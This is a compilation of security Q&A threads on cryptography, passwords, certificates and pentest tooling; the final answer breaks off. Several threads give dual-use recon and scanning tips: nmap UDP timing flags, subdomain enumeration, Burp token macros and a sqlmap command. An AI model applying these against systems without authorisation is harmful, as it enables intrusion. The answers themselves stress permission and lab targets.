Achieving PFS with public key cryptography I'm seeking to understand how Perfect Forward Secrecy (PFS) works for non SSL applications.

More specifically, I'm interested in how Moxie Marlinspike accomplishes this in TextSecure and other applications. I've heard that they use a "racheting" protocol which gives each session its own specific key which prevents a compromise of the private key of one of the users.

(e.g. A user encrypts a message to bob using bob's public key. How do I add PFS into the equation?)

How is this implemented? How would I create an application (let's say a chat application) and keep each message (or conversation) forward secret?

I'm seeking to understand how Perfect Forward Secrecy (PFS) works for non SSL applications.

Well, let's reiterate shortly what PFS is about: You want to prevent anyone getting your master key to be able to decrypt messages he has captured beforehand.

For example, let's assume the case of SSL/TLS where the private key of the server certificate gets compromised. Without PFS it would be then possible for an attacker to decrypt all messages that were encrypted with this key. More specifically the private key is usually used to encrypt session keys, which in return are used for the encryption of the actual data. The problem remains the same, it only adds a layer of abstraction.

  How is this implemented? How would I create an application (let's say a chat application) and keep each message (or conversation) forward secret?

So, what you want is to achieve is to exchange keys in a way that the compromise of a single message doesn't break your whole system. Instead of using a static key, i.e. your private key for the key exchange of session keys, you need to come up with a scheme that is built around ephemeral keys. This is exactly what the Diffie-Hellman key exchange (DHKE) is about. The problem with classical DHKE is that the communication partners are not authenticated, so Man-in-the-middle attacks become possible.

Therefore you need to combine these two schemes: Use RSA for authentication, and use DHKE to come up with a ephemeral session keys. In such a setup neither the compromise of a single session key nor the compromise of the master key itself would allow an attacker to decrypt messages from other sessions happening before.

This works great and is basically the way how PFS is achieved in SSL/TLS. Another quite popular example for such a scheme is Off-the-Record Messaging (OTR), although key(s) have to be verified manually, rather than through a Public-key infrastructure based upon RSA.

  More specifically, I'm interested in how Moxie Marlinspike accomplishes this in TextSecure and other applications.

TextSecure is essentially based on OTR. However, they improved OTR in a way to make it suitable for mobile applications. The biggest problem in a mobile environment is, that you can't expect both parties to be online at the same time. Mobile connections get interrupted all of the time, so classical DHKE would become a problem, because it could take a lot of time until both parties have agreed on a session key, which ideally would be used only for a single message. Essentially what you want is for the key exchange to be happening asynchronously. It get's a little bit more complicated than that, because TextSecure also solves a couple of other issues, like out-of-order decryption and preventing metadata to be leaked through cleartexts.

  I've heard that they use a "racheting" protocol which gives each session its own specific key which prevents a compromise of the private key of one of the users.

What you are referring to is Axolotl Ratchet and you'll find a detailed description of it goals and inner workings here.

  (e.g. A user encrypts a message to bob using bob's public key. How do I add PFS into the equation?)

In short: Don't use bob's public key to encrypt the message. Use his public key for authentication, come up with ephemeral keys for encryption, e.g. by using DHKE.


Pentesting web applications with unique strings in URL I would like to get your thoughts/inputs on what approach one can adopt in order to perform penetration testing on a web application which has unique strings appended in every HTTP request. Every response from the server comes with a unique token that is then added (by the client side script) to every request that is made from that page. This means that repeating or fuzzing with burp suite is not an option as the application throws users out with repetitive requests or invalid strings.

Burp supports Macros and Session Handling Rules that are designed to cope with this kind of situation. For example, you can configure a macro that fetches a fresh token, and a rule that updates the current request. This can be used with all Burp tools, including Intruder and Scanner. There's some more information here.

The built-in rules cannot update tokens in the URL. However, the Custom Parameter Handler extension lets you do that.

It can be a little bit fiddly to set this up, but it is possible to configure working session rules for most sites. You also have the option of coding your own extension.

Affiliation: Burp Suite is a commercial product of ours.


How can I find subdomains of a site? One of the things I need to do from time to time is to find subdomains of a site for example.

  Starting with example.com

  sub1.example.com
  other.example.com
  another.example.com

I'm looking for any additional ways to perform recon on these targets and I want to get a list of all the subdomains of a domain.

I'm currently doing a number of things inlcuding

using maltego to crawl for info
Using search engines to search for subdomains
crawling site links
Examining DNS records
Examining incorrectly configured SSL certificates
Guessing things like 'vpn.example.com'

I reckon there are more than the ones i've found so far, but now I'm out of ideas.

As a pentester being able to find the subdomains for a site comes up often.  So I wrote a tool,  SubBrute that does this quite well if I do say so my self.  In short, this is better than other tools (fierce2)  in that its a lot faster, more accurate and easier to work with.  This tool comes with a list of real subdomains obtained from spidering the web.  This subdomain list is more than 16 times the size of fierce2 and subbrute will take about 15 minutes to exhaust this list on a home connection.  The output is a clean newline separated list, that is easy to use as the input for other tools like nmap or a web application vulnerability scanner.


LastPass login security If LastPass does not store your master password, then how can you login to use their web app?

Surely you must type it in, it is sent over using SSL, and then salted/hashed on the server-side, and then compared with what in their DB, like any other login scheme on the web.

No, The LastPass website does not normally know your login credentials.

On their website, they supply JavaScript code to do in-browser decryption. So, yes, we still need to trust LastPass that this code is implemented correctly, but the password isn't sent to their servers.

Note: Trusting lasspass means that we need to trust them not to give you a non-standard version of their website javascript for certain special IP addresses at the behest of the NSA if they use a National Security Letter.

Resources:

Lastpass Technology
Lastpass How-It-Works
Lastpass How is LastPass Safe?
How does LastPass store my passwords on their website?


Are SQL injection scans considered illegal? I know that this thread mentions that

  Essentially, if you are seen to be someone who knows what you are
  doing, then even typing in a single-quote to a web form has been
  enough to be arrested and charged over in the past.

But lets say i'm writing a pen test tool that will be doing sqli testing and let it loose on sites that are 'out in the wild'. I'm not going to be doing dumps of any information. But is just the vulnerability scan itself illegal?

It will depend on the legal system under which it falls. But you are still doing something hostile. Without previous written permission of the siteowner, you are committing a crime.

There is no way of proving you didn't have a malicious intent. Intent is the key component here. A ping can be done to see if your own internet connection is working or if a website might be down because of a failing server. But if your intent is the see if a site/server is vulnerable for a ping fload, then you are possible already committing a felony.

It will be up for a judge to decide, but consider this:

If you would be trying all the doors of a random car in the street to see it's properly locked and someone sees that, would they believe you were just trying to see if it's locked?


HTTPS cert private key option optional I have seen it various times on different products when configuring a SSL certificate for the web gui, where  it's written that the Private Key is optional. Isn't that client (borwser) sending data encrypted with the servers public key and the server verifies (decrypts) with it's private key ?

I have no idea what the GUI you've shown is exactly for. But, for a server certificate in HTTPS the private key is always needed. Contrary to your statement the private key is not used by the server to decrypt client data (only kind of when RSA key exchange is used) but to sign a challenge based on client data in order to authenticate itself.


Should I restrict Core Networking firewall rules in Windows server? I have a server that I want to restrict access to by allowing only one IP address to be able to connect to it through desktop and make http request through port 80.

Now in my firewall I only have World Wide Web Services (HTTPS Traffic-In), Remote Desktop - User Mode (TCP-In) and Remote Desktop - User Mode (UDP-In) rules enabled with scope of the IP that I want enabled.

Except there are a bunch of other Core Networking rules enabled in the firewall. Do these open rules pose a threat and should I apply the same IP restrictions to these rules too?

Can a hacker exploit these rules?

I'm assuming disabling these would interfere with updates, time management etc. but if they can be exploited I'm willing to compromise these.

More often than not, access should be restricted to the fullest extent possible.  The decision as to how far to take steps needs to be based on an evaluation of willingness to accept risk, what the risks are and the value of what is being protected.


Randomly selected words converted into sentence. Did I lose passphrase strength or gain it? I got 5 dice and opened EFF's wordlist, and generated a random five-word passphrase (all letters small with spaces, no punctuation) for my PC.
The words were making up a meaningful scene in my mind, so I made a complete sentence out of the words by adding some more words (like of, from, a, etc.) and punctuation.
I am not able to decide which of the following thoughts is more dominant:
Benefit: I got some punctuation, a single capital letter and more words. So the "strength" of passphrase should increase.
Drawback: The virgin passphrase was quite random (nonsense), but the new sentence has got appreciable "real-world" meaning (sense) to it. It looks like a spam message generated by the method mentioned in this answer.

Intro
Given that you're using a diceware list, I'll follow the one found here but this applies to any list (except for the average word size and some details in the instructions).
Properties of the diceware list
The instructions for using the diceware list make it clear that the overarching goal is to avoid bias when constructing a passphrase, starting from the use of dice and fixed list, down to the very specific instructions that should be followed to the letter. For example, it is specified:

If you do roll several dice at a time, read the dice from left to
right.

So what do you gain if you follow these steps exactly:

a random passphrase with easy to evaluate entropy
no personal bias in the choice or order of words

Attacks

A blind brute force attack will need to crack a password of size approximately 4.2 (the average word length in the diceware list) times the number of words, plus spaces. Using even 4 words is making this infeasible.
An attack knowing that you used diceware will be in similar dire straits. Each word added to the passphrase adds another 12.9 bits of entropy so 5 words is 64.5 bits. This will already be fairly strong.
A dictionary or phrase attack will not do any better than the above attack since the set of words to try is exactly the diceware list and the random order does not make full phrases a good attack vector.

Modifying the passphrase
The simplest way to illustrate this is to use an (admittedly contrived) example.
Let's take the following six words obtained (in this order) by following the instructions: dog, quick, fox, lazy, jump, brown.
But my memory is not doing so well these days and I can quickly massage these words into something much more memorable:
The quick brown fox jumps over the lazy dog.
This is presuming that I'm feeling free to change the order and insert words like the, over, and punctuation.
Let's now look at our previous attacks:

The blind brute force attack now has to deal with a much longer password and will do considerably worse.
An attack knowing that you used diceware is now in hot water since either those words did not exist in the list, or the number of words massively increased as did the entropy.
A dictionary or phrase attack is where we hit trouble. This is a fairly well known sentence, which is the reason it popped into my head.

For this exaggerated example, the dictionary attack with phrases might find my passphrase in very little time. This shows why bias in password selection can be a dangerous thing.
Summary
It comes down to two things: which attacks are being used, and how common your new passphrase is. You only control the latter.
My take on this would be to stick to the strict anti-bias rules of the diceware list. They are there precisely to avoid this kind of situation.
That said, your new passphrase may not be that much worse than the original but it's really hard to tell due to the very subjective nature of personal bias.
Additional notes
The instructions warn about this specific case:

You should also start over if your passphrase is a recognizable
sentence or phrase in the language you are using

They also allow for additional punctuation but also chosen randomly for both the type and the position. I've omitted mentioning them before since they can be considered part of the diceware method, though the same caveat applies for intentionally-placed punctuation.


How to confirm if a site is using Device Fingerprinting Is it possible to confirm if a site is using Device Fingerprinting? When the site owner uses JavaScript, is there something we can look for in the script to confirm if a website is using device fingerprinting?

Unless they are pulling in a known off the shelf fingerprinting script you would have to look at what their client side code is doing.

Probing for available fonts and add-ins isn't necessarily malicious - both can be for improving user experience. Generating a list of all of them a sending it up to a server is more suspicious.

Instead passing the list locally through a hash function and sending the result to a server is almost certainly fingerprinting (I can't think of a single non-fingerprinting use case for this).

If you are asking about detecting fingerprinting automatically I'd suggest the best you could do is looking for segments of known fingerprinting code or communication with known fingerprinting services.


Why don't researchers care about iOS malware? I see Android malware being mentioned when reading peer reviewed papers about malware detection for smartphones, but iOS is never mentioned.
Even Malwarebytes says:

Historically, iOS has never been completely free of malware, but it has mostly been limited to one of two scenarios: Either you jailbroke your device, hacking it to remove the security restrictions and installing something malicious as a result, or you were the target of a nation-state adversary.

Why does (almost) no one seem to care about malware for iOS? I assume it's because malware for iOS is not a problem, but why? Are iPhones more secure then Android by default? If so, how?
A comment mentioned that the reason no one cares about this is because of market share. According to Fortune there are 700 million iPhones in circulation as of 2017. That's not an insignificant amount of people!
I found a research paper from 2020 about malware detection on iOS and they clearly state in the second paragraph of their introduction:

Yet currently, not much existing research related with
detection for iOS malwares such as by [8-12]. Hence, this
research will tackle this gap by developing a new iOS mobile
malware detection model.

And their Abstract (emphasis mine):

There are raising cases of mobile malwares exploiting iOS users across the world such as FinSpy and Exodus that were able to steal credential information from the victims and affect loss of victims' productivity. Yet, not many solutions were able to encounter iOS malware attacks. Hence, this paper presents a new iOS mobile malware classification based on mobile behaviour, vulnerability exploitation inspired by phylogenetic concept. The experiment was conducted by using hybrid analysis. Proof of concept (POC) was conducted and based on the POC it indicated that this proposed classification is significant to detect the malware attacks. In future, this proposed classification will be the input for iOS mobile malware detection.

I see Android malware being mentioned when reading peer reviewed papers about malware detection for smartphones, but iOS is never mentioned.

The problem here is that you are reading papers about malware  detection, which is next to impossible on non-jailbroken iPhones. All apps installed on iPhones are tightly sandboxed, so even if you install any security app on your iPhone, it can't scan any files that aren't its own (which, obviously, is pretty useless for finding the malware). So instead, the research is mostly focused on infection vectors (of which there is plenty).

Android isn't less secure. Its just that it grants you more freedom. For example you can sideload apps which haven't gone through the Play Store vetting process. So it's easier for the bad guys to target androids. Just write a malicious app and then find someone stupid enough to click through the warnings and sideload it onto their device. Androids also have a larger user base so its easier to find someone who can be tricked into installing your app.
On top of that, there are plenty of outdated android devices which are no longer supported by their vendors but are still in use. These devices don't receive security updates so they have known vulnerabilities and are therefore easy to infect.
When you combine this with the fact that it's easier to scan android devices for malware, it's obvious why more research has gone into android malware detection and analysis.


What does working in cybersecurity look like? I am thinking of working in cybersecurity since a while now (I am doing a bachelor degree in computer science and I have one in mathematics). However, I don't know what it really looks like. And before considering what kind of future studies I should take, I would like to have the opinion of the people who are working in this area.

Is this an academic formation (university) or a more practical one (in collaboration with the police) ? Is there institutes where I can do a master degree or/and a Ph.D in this field ?

Despite it is very popular in the medias, I have never heard of a formation (maybe I don't ask the good questions or I don't know where to find the information...)

The term cyber-security is large enough to represent many different sub-fields. As in many fields, there are theoretical approaches and more practical ones.

For instance, I now work at the Center for Cybercrime and Computer Security, and within the same place, there are people working on cryptographic protocols (quite theoretical/maths), people working on collaboration with the police, e.g., to work with battered women, people working on usability aspect of security, people working on quantitative techniques (probability/uncertainty) of security mechanisms, and that's just on top of my head.

If you take a look at the Information Security Group, where I was working before, you'll find different profiles, and different aspects of cyber-security. In both of these examples, and in many others, you can both do a Master and a PhD. And, of course, I'm only talking here about places I know for working there, but there are plenty of them in the world.

It's quite frequent that security groups are started by people whose primary background is not in security, and that's why there are many approaches: algebra, formal methods, quantitative, psychological, distributed systems, operating systems, networks, etc. So, to answer your question precisely, yes, there are many places where to get a proper formation in cyber-security, and you will probably find one that suits you best.

EDIT: As another example of great place to look at, since your profile indicates you're in Switzerland, the ETH Zurich is considered as one of the top places in the world, and their Information Security Master is probably very interesting (although with perhaps a more theoretical/academic aspect rather than concrete/applied).


Is this a PEM certificate? I'm doing research on certificates and I've managed to find a dataset.
It is a single large text file where each line appears to be a PEM encoded certificate but I am unable to load them using pythons asn1crypto.x509 although I am able to load my own captured certificates, here is an example:

bf55348d696395689d5c461bc0f092ecabcdb6ca,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

am I wrong? is this not in PEM?

On a similar note, if anyone knows where I could find more certificate dumps (real ones, not synthetic ones) I would be most grateful

As for example described in Wikipedia the PEM format requires a begin and end label, i.e. -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- . What you have here does not have such labels and thus cannot be PEM.

It is instead a base64 encoded DER representation of the certificate, prefixed with the SHA-1 fingerprint of the certificate. I.e. what you have here is

bf55348d696395689d5c461bc0f092ecabcdb6ca,MIIGaTCCBVGgAwI....pxhS2kQw==
         sha1_fingerprint_as_hex        ,der_encoded_certificate_as_base64

To get the actual certificate you can decode the base64 part and feed it into openssl x509:

$ echo MIIGaTCCBVGgAwI....pxhS2kQw==  |\
     base64 -d | openssl x509 -inform der -fingerprint -text

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            04:6b:df:0f:d9:20:41:ae:b2:d3:5a:93
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=BE, O=GlobalSign nv-sa, CN=GlobalSign CloudSSL CA - SHA256 - G3
        Validity
            Not Before: Jul  5 06:10:28 2019 GMT
            Not After : Jul  5 06:10:28 2020 GMT
        Subject: C=US, ST=Delaware, L=Dover, O=Incapsula Inc, CN=incapsula.com
    ...
SHA1 Fingerprint=BF:55:34:8D:69:63:95:68:9D:5C:46:1B:C0:F0:92:EC:AB:CD:B6:CA
-----BEGIN CERTIFICATE-----
MIIGaTCCBVGgAwIBAgIMBGvfD9kgQa6y01qTMA0GCSqGSIb3DQEBCwUAMFcxCzAJ
...
eKCQeesTlOpxhS2kQw==
-----END CERTIFICATE-----


Increase speed in nmap UDP scan? How can I get nmap quicker in scanning UDP ports?
This kind of scan is incredibly more slow than TCP ports (at least 2-3 times)

UDP scanning is likely to be slower than TCP due to the differences in how the protocol works (i.e. with TCP it's easier to establish that a port is open due to the three-way handshake).

That said it's possible to increase the speed of UDP scans in a couple of ways.  one thing to watch for here is that if you apply too many timing options you risk reducing the accuracy of your scan (i.e. nmap will miss things).  Depending on your goal this may or may not be a problem.

One of the best places to get information about these is in the timing & performance section of the nmap book

From that, ones I tend to use

--max-rtt-timeout

This controls the time that nmap will wait for responses and is pretty key for scanning speed.  What you can do here is measure the typical round trip time of a request using ping or something similar and use that as a base for this.

--max-retries

As mentioned in another answer this is useful.  I wouldn't set 0 or you could miss things but setting 1 or 2 if you're really keen to see a speed-up will help

--max-scan-delay

If nmap things that a host is slow responding it'll start adding this in, and it can really slow the scan down.  Set this low around 10ms and it'll speed things up, but if you have flaky/slow hosts it'll likely miss things

--min-hostgroup

If you're not too concerned about getting results as you go and you have a lot of hosts to do ramping this up will improve things.  Something like 32 or 64 will speed up the overall scan.

Another key point to remember is that for UDP you'll likely only get good results if you use version scanning.  this is because a lot of UDP services only respond if the packet they receive is in the right format.  However version scanning will slow things down so if you're in a hurry set

--version-intensity 0

when using version scanning.


Python generated RSA keys looks the same I'm working on a sharing protocol, and the handshake, authentication etc. is done with RSA keys.
By default I use 4096 bit keys, but it seems the beginning and end of any key generated are the same, how worried should I be?
This phenomenon happens both on Windows and Linux.
The python code generating the keys is roughly this:
from Crypto.PublicKey import RSA
from Crypto import Random

random_generator = Random.new().read
prv = RSA.generate(4096, random_generator)

Some example keys I generated (snipped), two on Windows, one on Linux:
30820222300d06092a864886f70d01010105000382020f003082020a0282020100b420065527689ff14a115a9c1b63bf79294407bf621d4ab...0da370203010001
30820222300d06092a864886f70d01010105000382020f003082020a0282020100b39291f674eddfe8d8571b856bf7f83c01ca8ba231f16e8...678590203010001
30820222300d06092a864886f70d01010105000382020f003082020a02820201009a2bec7fad52fe7c50cce509b3406b8ff981a626f28082e...0e98d0203010001

As you can see, the some 66 first and 10 last nibbles are identical, over 300 bits.
Should I ditch the rng for some other or am I just too paranoid?

The two large primes that make up the RSA private key are different each time you run the script.
I added a line to the end of your script, to output the RSA private key in PEM format produced by the script:
from Crypto.PublicKey import RSA
from Crypto import Random

random_generator = Random.new().read
prv = RSA.generate(4096, random_generator)

print(prv.exportKey().decode())

Then, I saved the script as genrsa.py.  If you run genrsa.py, you'll see that it produces an RSA private key, in PEM format.
Try running the script, and redirect the output to a file called privatekey.pem:
 python3 genrsa.py > privatekey.pem

Now, use openssl to examine the contents of privatekey.pem:
openssl rsa -noout -text -inform PEM -in privatekey.pem

Look at the two primes.  Then, repeat the steps above, and compare the two primes created in the second run to those created in the first run.  The two pairs are very different.
With regard to the question about why the beginning and ending bytes of the PEM file produced are always the same - this has to do with the RSA format itself, and the ASN.1 and DER encoding standards that are used to create PEM files.  See https://stackoverflow.com/questions/18039401/how-can-i-transform-between-the-two-styles-of-public-key-format-one-begin-rsa for more information.
For more information on the anatomy of an RSA private key PEM file, and how you can examine the underlying components of the private key contained in the file, see: https://crypto.stackexchange.com/questions/45151/anatomy-of-an-rsa-private-key.


Should Administrators regularly change their passwords CESG state that users should not be forced to undergo regular password changes as it often harms, rather than improves security. Does this logic apply to administrators as well, such as domain admins?

https://www.ncsc.gov.uk/guidance/password-guidance-simplifying-your-approach

Yes; admins should not be rotating their passwords either. As an administrator my passwords are completely randomized and stored encrypted. For me to change my password only adds "secret" rotation. However, me changing my password to yet another random password doesn't add any security in whether or not the password can be cracked or not. I would actually argue that if your current random password is not in a dictionary somewhere and then a new random password you pick you're rolling the dice that the password is also not in a dictionary somewhere and also harder to crack; so each time you change the password when there is no reason to you are rolling the dice that the password may be harder to crack.

NIST SP 800-63B agrees with me believe it or not:

  Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator.

Basically, with the assumption that your password policy is sufficiently complex, you should only have users change their password if they feel like it (personal preference) or force them to if you suspect their account may have been compromised.

Another valid reason to not change your password regularly when its un-needed is that normal users will almost always use a simple variation of the previous password. For example, if their password was mTpaGFrsYht12 they make it 1mTpaGFrsYht12; if their account was compromised then any password cracking tool like john would discover that new "rotated" password. Not to mention, if someone has compromised the network and is collecting hashes, each new password change is a hash and therefore a new password that the attacker can store in their database and attempt to crack offline.

The problem with passwords in security authorization is weak passwords, not strong passwords with weak secret rotation.


sqlmap won't give me results i'm looking for I am trying to use sqlmap. Although every time I use it, I just get a response of:
[13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[13:39:11] [INFO] testing if the target URL content is stable
[13:39:12] [INFO] target URL content is stable
[13:39:12] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). You are advised to rerun with '--forms --crawl=2'

[*] ending @ 13:39:12 /2020-07-29/

I'm using the websites I find in the tutorials (like: https://www.binarytides.com/sqlmap-hacking-tutorial/). But I always get this message. If not, it keeps asking me for stuff and then doesn't work.
Here's the command I use: python sqlmap.py -u "www.example.com"

For legal reasons you should only attempt to hack websites you have explicit permission to test. Random websites on the internet doesn't meet that criteria unless you're doing a bugbounty (in which case sqlmap is probably the wrong approach). A better option would be to install a web application designed for learning security, such as the Damn Vulnerable Web Application on your local machine or a VM and then run sqlmap against it.


To what extend can a DOS attack succeed even if it was detected? While reading DOS detection and prevention http://staffweb.cms.gre.ac.uk/~lg47/publications/LoukasOke-DoSSurveyComputerJournal.pdf I've asked myself:
Even if a firewall detects a DOS attack and begins to filter it out, doesn't the detection and filtering (by IP etc.) still require a resource to respond to the attack (in terms of dismissing the request)?

I understand that the resources required to blocking an attack are magnitudes smaller than really handling the attacks but are there scenarios where a DOS can still succeed on occupying a resource in a way that the filtering of the attack still causes a DOS?

As long as the DOS attack can consume more resources (network bandwidth, compute power etc) than the target can supply, then it will succeed, despite being identified.

Filtering is very difficult - you require a lot of bandwidth, and a way to separate good from bad traffic. If you filter everything, then you cause a DOS on yourself anyway.

This is why a DDoS has such an impact. It is possible to launch orders of magnitude more traffic than the target can cope with. The only solution in these cases is to use a DDoS mitigation partner - and even there, there is always some impact as they enable rerouting, configure scrubbing rules, tune these rules etc., and as before, if the DDoS gets big enough it will also knock the mitigation provider off the Internet.


zero knowledge proof - where do we use it? zero knowledge proof, Where do we use it online? I thought we mostly use the RSA algorithm.

Zero-knowledge proofs are components in some rather complex protocols, in particular electronic voting schemes, in which votes are encrypted, but the voter must be able to prove that the vote complies to a specific format (e.g. it is the encryption of "0" or of "1", but nothing else) without revealing it.

It is also possible to turn (generically) any zero-knowledge proof into a digital signature scheme. The idea is that in a ZK proof, the prover sends commitments, then the verifier sends a challenge to which the prover must respond; the involved mathematics ensure that a fake prover would not be able to respond correctly to all possible challenge values. What makes the proof "convincing" is that the verifier does not collude with the prover and really sends a random challenge, not just "easy challenge values". Thus, the ZK interactive proof is convincing only insofar as we trust the verifier for not colluding. The proof is turned non-interactive by computing the challenge with a hash function over the whole set of commitments from the prover (hash functions act "randomly" by construction). By including the message to sign in the hash function input, you get a digital signature scheme.

The Schnorr signature scheme is an application of this construction principle. It works in a group where discrete logarithm is hard; for instance, there are publicly known parameters p, q and g (p is a big prime, q is a smaller but still big prime which divides p-1, g is an integer modulo p such that gq = 1 mod p). The signer knows a private value x, and the corresponding public key is y = g^x mod p. To sign message m, the signer does this:

The signer generates a random value k in the 1..q-1 range, and computes r = g^k mod p.
The signer computes e = H(m||r) where H is a hash function (e.g. SHA-256) and "||" denotes concatenation.
The signer computes s = k - xe mod q

The signature is then the pair (r,s). Verification is done that way:

The verifier recomputes e = H(m||r).
The verifier computes r' = gsye mod p.
The verifier verifies that r' = r.

If we want to see it as an adapted ZK proof, then r is the commitment from the prover (the signer, who want to prove his knowledge of x); e is the challenge, and s is the response to the challenge. The response does not reveal anything on x as long as the prover responds to a single challenge value, for a given commitment (i.e. for each signature, the signer will generate a new k which must be random and uniform, and never revealed to anybody).

However, for a fake prover who does not know x, responding to the challenge with a value s which fits in the verifying equation is not feasible unless he can predict the challenge e and craft his fake commitment in accordance. For instance, if the challenge e is known in advance, then the fake prover can simply choose a random s and compute his fake commitment r = gsye mod p. That's where the hash function H enters the scene: you cannot cheat with a hash function. If the hash function is a random oracle, then its output cannot be predicted in advance, and since the commitment r is used as input to the hash function, the prover is necessarily "committed" to his commitment.

In practice, the Schnorr signature scheme is very rarely used, but a variant known as DSA is rather widespread (along with its elliptic curve version ECDSA). DSA includes a few twists which make the signature shorter and make it sufficiently different from the Schnorr signature scheme to be out of the scope of Schnorr's patent (that patent is now expired anyway).

Most X.509 certificates in the wild, and thus SSL-enabled Web sites, use RSA, which is not built around a ZK proof. But ECDSA gains popularity because elliptic curves are highly fashionable.


Is a full backup the quickest or the longest on restoring Studying for Security+ with Darril Gibson's book he says that "A full backup is the easiest and quickest to restore"

Now I've been looking for another test exams and I found the MasterExam of the CompTIA Security+ All-in-one book. One question was A disadvantage of a full backup is? and the right answer was It takes the longest time to restore.

So either Darril or Mc Graw Hill's book is mistaken.

What do you think? Is a full backup the quickest or the longest on restoring?

The answer here I think depends on a slightly old-school approach to backups.  If you have an initial full backup to tape and you then do incremental backups to separate tapes, the incrementals backup quickly, however if you need to restore you may need to go through several different tapes to find all the files that you want to bring back, hence the slow restore.

In contrast full backups are slow to do (you're backing up all the data not just some) but the restore is quicker because any file you want back will be on that tape (as there is only one)


What happens when the timestamper's certificate expires? What happens when the timestampers certificate expires?
If the code is now untrusted, can it be re-stamped without re-signing?
If not, what good does this timestamp do me if my cert is valid until the same date?

TimeStamperCertificate : [Subject]
                               CN=COMODO SHA-1 Time Stamping Signer, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB

                         [Issuer]
                           CN=UTN-USERFirst-Object, OU=http://www.usertrust.com, O=The USERTRUST Network, L=Salt Lake City, S=UT, C=US

                         [Serial Number]
                           1688F039255E638E69143907E6330B

                         [Not Before]
                           12/30/2015 6:00:00 PM

                         [Not After]
                           7/9/2019 1:40:36 PM

                         [Thumbprint]
                           03A5B14663EB12023091B84A6D6A68BC871DE66B

What happens when the timestampers certificate expires?

Literally, nothing.

  If the code is now untrusted, can it be re-stamped without re-signing?

